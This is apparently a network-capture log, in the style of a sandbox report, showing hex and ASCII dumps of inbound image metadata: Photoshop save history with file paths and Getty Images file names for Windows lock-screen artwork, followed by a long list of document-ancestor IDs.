2022-07-20 17:08:42 UTC	1217	IN	Data Raw: 46 69 6c 65 20 44 3a 5c 5f 57 69 6e 31 30 2d 53 50 4f 54 4c 49 47 48 54 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 38 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 34 54 31 31 3a 35 32 3a 31 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 38 33 36 33 30 38 44 41 31 41 31 41 35 41 36 36 45 46 46 32 30 43 31 44 46 37 30 35 45 36 42 37 36 2e Data Ascii: File D:\_Win10-SPOTLIGHT\Templates\Lockscreen_1080x1920_Portrait8.psd saved 2017-07-14T11:52:15-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_Portrait836308DA1A1A5A66EFF20C1DF705E6B76.
2022-07-20 17:08:42 UTC	1233	IN	Data Raw: 73 65 6e 5c 43 72 6f 70 73 5c 4c 69 6e 6b 65 64 49 6e 2d 4c 65 61 72 6e 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 31 32 32 35 32 36 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 34 54 31 33 3a 35 33 3a 31 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 69 6e 6b 65 64 49 6e 5c 4c 65 61 72 6e 69 6e 67 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4c 69 6e 6b 65 64 49 6e 2d 4c 65 61 72 6e 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 38 32 31 38 34 34 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 34 54 31 33 3a 35 36 3a 35 34 2d Data Ascii: sen\Crops\LinkedIn-Learning_GettyImages-471225264_1080x1920.jpg saved 2017-08-14T13:53:10-07:00 File C:\Users\v-lizagh\MS\Windows10\LinkedIn\Learning\Chosen\Crops\LinkedIn-Learning_GettyImages-508218440_1080x1920.jpg saved 2017-08-14T13:56:54-
2022-07-20 17:08:42 UTC	1241	IN	Data Raw: 63 71 75 69 73 69 74 69 6f 6e 73 52 65 6d 69 6e 64 65 72 73 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 41 63 71 52 65 6d 69 6e 64 65 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 35 32 31 36 32 38 39 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 31 35 54 31 33 3a 35 39 3a 35 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 Data Ascii: cquisitionsReminders\Chosen\Crops\AcqReminders_GettyImages-452162895_1080x1920.jpg saved 2017-09-15T13:59:57-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538
2022-07-20 17:08:42 UTC	1257	IN	Data Raw: 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 4e 46 4c 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 39 33 39 32 39 31 38 36 5f 31 30 38 30 78 31 39 32 30 33 44 36 34 30 35 34 38 36 30 33 44 43 36 44 35 38 41 32 34 43 30 34 36 45 37 42 39 46 41 30 46 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 34 30 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 Data Ascii: C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-NFLCollegeFootball_GettyImages-93929186_1080x19203D640548603DC6D58A24C046E7B9FA0F.psb saved 2017-11-01T13:40:41-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1
2022-07-20 17:08:42 UTC	1273	IN	Data Raw: 6b 32 30 31 37 2d 42 39 5f 50 61 69 49 6e 61 63 69 6f 48 69 6c 6c 42 72 61 7a 69 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 31 32 34 32 35 32 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 33 3a 34 33 3a 33 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 32 30 31 37 2d 42 39 5f 50 61 70 61 72 6f 61 4e 50 4e 65 77 5a 65 6c 61 6e 64 5f 35 30 30 70 78 2d 36 36 35 35 30 30 34 39 5f 31 30 38 30 78 31 39 32 30 37 42 39 34 38 34 42 38 34 44 41 37 41 Data Ascii: k2017-B9_PaiInacioHillBrazil_GettyImages-131242528_1080x1920.jpg saved 2017-12-04T13:43:30-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lock2017-B9_PaparoaNPNewZeland_500px-66550049_1080x19207B9484B84DA7A
2022-07-20 17:08:42 UTC	1281	IN	Data Raw: 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 35 39 31 38 32 38 32 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 36 3a 32 35 3a 32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 Data Ascii: e C:\Users\v-lizagh\MS\Windows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-AndroidLauncher_GettyImages-125918282_1080x1920.psd saved 2017-12-14T16:25:25-08:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-AndroidLau
2022-07-20 17:08:42 UTC	1297	IN	Data Raw: 31 2d 32 34 54 31 37 3a 32 39 3a 33 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 37 37 38 32 34 38 5f 31 30 38 30 78 31 39 32 30 42 44 46 43 31 37 46 35 41 30 46 36 46 31 43 39 44 31 41 32 33 39 39 33 31 46 37 36 39 37 43 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 31 37 3a 33 30 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d Data Ascii: 1-24T17:29:31-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-WinterEntFeb_GettyImages-160778248_1080x1920BDFC17F5A0F6F1C9D1A239931F7697C7.psb saved 2018-01-24T17:30:48-08:00 File C:\Users\v-lizagh\M
2022-07-20 17:08:42 UTC	1313	IN	Data Raw: 6f 76 65 72 65 64 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 36 54 31 33 3a 30 31 3a 35 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 36 54 31 33 3a 30 34 3a 32 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 Data Ascii: overed.psd opened 2018-02-26T13:01:51-08:00 File C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1080x1920_Portrait.psd saved 2018-02-26T13:04:24-08:00 File C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1080x1920_Portrait.psd
2022-07-20 17:08:42 UTC	1321	IN	Data Raw: 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 54 72 61 76 65 6c 2d 55 4b 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 54 72 61 76 65 6c 2d 55 4b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 31 34 38 33 36 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 31 35 54 30 31 3a 32 35 3a 34 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 54 72 61 76 65 6c 2d 55 4b 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 54 72 61 76 65 6c 2d 55 4b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 38 38 33 36 32 32 34 5f Data Ascii: indows10\MIT-International\Travel-UK\_CHOSEN\Crops\MIT-Travel-UK_GettyImages-155148369_1080x1920.jpg saved 2018-03-15T01:25:47-07:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\Travel-UK\_CHOSEN\Crops\MIT-Travel-UK_GettyImages-498836224_
2022-07-20 17:08:42 UTC	1337	IN	Data Raw: 72 64 66 3a 6c 69 3e 30 34 36 34 41 39 38 36 42 36 45 39 30 46 42 31 42 35 46 34 42 31 45 45 38 42 41 43 41 30 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 34 36 39 42 38 43 33 31 37 32 43 42 43 34 37 35 30 41 33 46 34 33 30 34 44 30 31 41 35 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 34 37 30 36 34 37 37 44 43 39 36 45 33 43 38 31 46 30 45 41 45 43 44 37 41 36 33 43 30 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 34 37 43 39 36 32 45 44 33 41 39 39 31 37 46 42 45 37 35 34 39 39 39 36 46 33 36 38 39 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 34 38 31 41 32 31 46 38 32 32 35 31 35 32 45 34 38 41 31 38 45 45 42 31 33 46 32 46 38 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: rdf:li>0464A986B6E90FB1B5F4B1EE8BACA050</rdf:li> <rdf:li>0469B8C3172CBC4750A3F4304D01A50B</rdf:li> <rdf:li>04706477DC96E3C81F0EAECD7A63C082</rdf:li> <rdf:li>047C962ED3A9917FBE7549996F36899B</rdf:li> <rdf:li>0481A21F8225152E48A18EEB13F2F8CE</rdf:li> <rdf:l
2022-07-20 17:08:42 UTC	1353	IN	Data Raw: 44 31 38 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 37 38 39 36 34 44 39 30 33 36 30 44 36 34 38 44 46 34 44 44 30 36 34 37 36 39 43 31 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 39 31 37 46 38 33 46 45 33 36 39 31 30 45 34 33 31 32 44 30 43 39 37 34 37 30 34 44 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 39 33 42 46 38 46 41 37 45 39 35 38 37 34 36 38 46 36 36 38 46 44 44 31 37 43 46 37 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 39 38 36 34 42 42 43 46 45 39 46 38 45 37 41 44 37 44 30 32 43 44 31 37 32 33 44 39 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 39 38 38 34 44 39 32 33 32 46 44 38 39 30 43 44 45 34 37 45 36 39 38 43 38 31 35 44 41 43 Data Ascii: D1894</rdf:li> <rdf:li>1078964D90360D648DF4DD064769C17F</rdf:li> <rdf:li>10917F83FE36910E4312D0C974704DD9</rdf:li> <rdf:li>1093BF8FA7E9587468F668FDD17CF7B2</rdf:li> <rdf:li>109864BBCFE9F8E7AD7D02CD1723D93B</rdf:li> <rdf:li>109884D9232FD890CDE47E698C815DAC
2022-07-20 17:08:42 UTC	1360	IN	Data Raw: 36 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 43 42 38 33 46 32 32 43 32 42 37 38 38 45 34 36 41 33 38 39 45 30 42 37 45 44 35 37 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 43 43 30 45 33 31 46 30 32 32 36 38 36 42 46 42 31 30 30 46 41 36 36 32 34 45 31 36 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 43 43 43 42 35 32 38 42 36 33 44 35 30 31 45 43 46 37 31 46 42 42 34 45 33 32 33 34 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 44 35 45 42 30 31 30 38 33 43 42 36 38 30 37 35 34 34 42 33 38 43 32 46 43 36 35 41 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 45 37 37 42 31 38 31 46 37 46 43 45 44 37 36 38 37 36 41 37 36 45 36 35 33 32 44 37 32 44 3c 2f Data Ascii: 6CA</rdf:li> <rdf:li>15CB83F22C2B788E46A389E0B7ED57EB</rdf:li> <rdf:li>15CC0E31F022686BFB100FA6624E1616</rdf:li> <rdf:li>15CCCB528B63D501ECF71FBB4E32343E</rdf:li> <rdf:li>15D5EB01083CB6807544B38C2FC65ACE</rdf:li> <rdf:li>15E77B181F7FCED76876A76E6532D72D</
2022-07-20 17:08:42 UTC	1376	IN	Data Raw: 37 44 39 38 45 44 46 33 46 33 38 46 46 44 35 36 36 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 42 44 30 39 43 45 45 45 43 37 45 44 33 44 30 32 31 41 32 45 31 36 38 43 30 42 38 46 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 43 31 38 39 30 34 43 43 39 43 44 34 35 30 31 33 44 46 38 33 33 46 45 35 43 41 31 35 41 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 43 33 42 44 39 45 34 39 33 33 38 42 35 37 44 45 44 35 39 39 33 32 45 30 45 42 35 45 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 43 38 35 32 46 42 32 44 42 41 30 46 30 46 38 45 35 42 39 41 30 34 39 30 37 34 37 32 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 43 42 38 31 33 35 37 36 44 33 31 35 41 43 37 41 Data Ascii: 7D98EDF3F38FFD566D9</rdf:li> <rdf:li>22BD09CEEEC7ED3D021A2E168C0B8F2A</rdf:li> <rdf:li>22C18904CC9CD45013DF833FE5CA15A0</rdf:li> <rdf:li>22C3BD9E49338B57DED59932E0EB5E55</rdf:li> <rdf:li>22C852FB2DBA0F0F8E5B9A0490747247</rdf:li> <rdf:li>22CB813576D315AC7A
2022-07-20 17:08:42 UTC	1392	IN	Data Raw: 32 32 34 44 44 31 44 34 34 35 35 32 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 41 33 33 44 30 35 46 31 30 46 35 30 31 35 37 35 38 38 38 31 31 37 37 36 38 36 34 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 42 31 36 44 31 38 44 38 33 39 35 37 39 35 33 32 33 37 35 41 35 31 45 42 31 41 32 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 33 44 39 39 30 30 45 35 32 36 35 35 32 35 36 42 46 31 33 34 45 31 30 34 38 38 32 45 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 33 44 46 45 35 31 32 30 35 41 37 31 38 45 33 31 34 38 45 38 37 45 45 38 37 36 37 36 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 34 35 43 36 44 32 46 44 46 41 39 43 45 37 42 34 44 45 35 37 33 Data Ascii: 224DD1D4455259</rdf:li> <rdf:li>2D2A33D05F10F501575888117768641D</rdf:li> <rdf:li>2D2B16D18D839579532375A51EB1A26C</rdf:li> <rdf:li>2D3D9900E52655256BF134E104882E3E</rdf:li> <rdf:li>2D3DFE51205A718E3148E87EE8767601</rdf:li> <rdf:li>2D45C6D2FDFA9CE7B4DE573
2022-07-20 17:08:42 UTC	1400	IN	Data Raw: 39 36 45 46 34 30 43 36 44 34 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 46 30 44 37 41 31 34 44 37 34 46 37 33 30 46 30 46 33 45 35 34 35 42 41 30 30 45 37 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 46 44 35 46 33 32 30 30 36 46 43 31 39 33 42 35 34 38 38 32 32 35 46 36 37 35 41 46 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 30 37 39 37 38 38 32 44 31 39 34 33 32 36 32 46 43 34 35 43 34 33 35 41 41 36 38 34 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 30 39 39 43 46 45 35 36 37 42 37 30 30 44 38 31 38 33 34 41 42 37 30 35 34 37 38 35 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 30 41 32 39 37 34 33 36 34 42 36 34 32 32 31 43 31 45 38 37 45 33 43 Data Ascii: 96EF40C6D414</rdf:li> <rdf:li>32F0D7A14D74F730F0F3E545BA00E7D9</rdf:li> <rdf:li>32FD5F32006FC193B5488225F675AFBC</rdf:li> <rdf:li>330797882D1943262FC45C435AA684BF</rdf:li> <rdf:li>33099CFE567B700D81834AB7054785E9</rdf:li> <rdf:li>330A2974364B64221C1E87E3C
2022-07-20 17:08:42 UTC	1416	IN	Data Raw: 33 37 33 34 31 42 39 43 34 31 36 45 45 35 46 43 34 34 35 44 35 38 46 39 41 31 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 46 37 41 30 31 44 31 34 32 34 31 45 35 35 42 38 38 30 43 41 44 35 41 30 43 45 35 34 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 46 42 33 31 39 31 30 31 36 42 30 42 45 41 37 30 30 33 37 31 33 45 44 45 37 33 32 36 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 46 30 34 36 46 35 35 45 38 41 46 35 44 45 31 43 31 30 39 34 31 46 41 45 37 37 35 35 34 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 46 30 35 42 46 42 37 39 44 39 32 41 34 39 46 33 46 44 46 34 39 36 37 45 34 31 32 37 43 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 46 30 41 45 31 35 31 35 Data Ascii: 37341B9C416EE5FC445D58F9A155</rdf:li> <rdf:li>3EF7A01D14241E55B880CAD5A0CE54FF</rdf:li> <rdf:li>3EFB3191016B0BEA7003713EDE7326C8</rdf:li> <rdf:li>3F046F55E8AF5DE1C10941FAE7755491</rdf:li> <rdf:li>3F05BFB79D92A49F3FDF4967E4127C31</rdf:li> <rdf:li>3F0AE1515
2022-07-20 17:08:42 UTC	1432	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 36 44 34 39 33 35 38 44 46 32 43 34 46 33 30 34 46 42 31 31 44 36 46 38 31 32 35 36 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 37 38 42 31 30 34 44 34 31 45 34 36 38 33 34 37 42 33 36 37 32 39 36 34 33 44 30 42 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 37 38 42 41 44 45 38 38 32 36 36 37 41 45 35 34 42 32 34 30 39 31 41 45 38 41 37 30 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 38 36 44 42 37 43 36 31 32 34 33 33 37 30 34 32 35 41 39 44 33 39 43 39 44 44 33 46 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 38 37 39 43 43 35 46 38 36 42 36 44 39 44 42 34 31 31 44 38 34 32 37 38 34 41 41 34 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: li> <rdf:li>4A6D49358DF2C4F304FB11D6F8125653</rdf:li> <rdf:li>4A78B104D41E468347B36729643D0BA1</rdf:li> <rdf:li>4A78BADE882667AE54B24091AE8A7086</rdf:li> <rdf:li>4A86DB7C61243370425A9D39C9DD3F9B</rdf:li> <rdf:li>4A879CC5F86B6D9DB411D842784AA42A</rdf:li> <
2022-07-20 17:08:42 UTC	1440	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 30 46 34 37 34 36 36 43 46 31 42 41 44 31 38 32 44 43 34 35 45 44 39 31 33 30 34 30 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 32 46 37 38 44 37 34 39 42 33 32 45 31 34 41 37 36 46 36 37 38 46 37 43 31 34 34 31 31 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 33 41 46 35 44 43 45 31 36 30 43 34 32 35 41 32 45 31 41 34 34 42 42 45 45 31 35 31 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 34 36 30 42 41 30 32 32 30 37 41 45 41 30 43 38 42 30 37 45 44 33 35 36 34 43 43 38 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 35 32 43 44 43 38 43 31 37 39 32 43 37 31 32 43 36 44 42 39 32 32 39 45 38 32 30 35 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: > <rdf:li>500F47466CF1BAD182DC45ED9130406E</rdf:li> <rdf:li>502F78D749B32E14A76F678F7C14411E</rdf:li> <rdf:li>503AF5DCE160C425A2E1A44BBEE151E4</rdf:li> <rdf:li>50460BA02207AEA0C8B07ED3564CC87B</rdf:li> <rdf:li>5052CDC8C1792C712C6DB9229E82053E</rdf:li> <rd
2022-07-20 17:08:42 UTC	1456	IN	Data Raw: 66 3a 6c 69 3e 35 43 44 34 41 46 36 32 42 32 38 42 37 45 46 32 45 46 38 43 30 38 42 44 37 41 39 43 36 45 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 43 44 45 32 36 36 37 38 35 34 30 44 38 41 31 46 38 37 39 39 32 46 36 43 42 44 46 41 43 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 43 45 34 37 32 44 41 33 39 30 33 32 36 32 35 46 42 39 43 44 38 31 45 32 31 30 34 45 42 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 43 45 34 46 42 41 43 46 35 32 38 46 30 35 30 32 36 42 36 38 36 37 31 39 34 32 34 30 37 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 43 45 38 30 39 46 32 43 35 36 42 35 38 37 34 35 44 42 45 42 30 32 44 44 33 45 36 46 43 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: f:li>5CD4AF62B28B7EF2EF8C08BD7A9C6ED0</rdf:li> <rdf:li>5CDE26678540D8A1F87992F6CBDFACF6</rdf:li> <rdf:li>5CE472DA39032625FB9CD81E2104EB91</rdf:li> <rdf:li>5CE4FBACF528F05026B68671942407F2</rdf:li> <rdf:li>5CE809F2C56B58745DBEB02DD3E6FC67</rdf:li> <rdf:li>
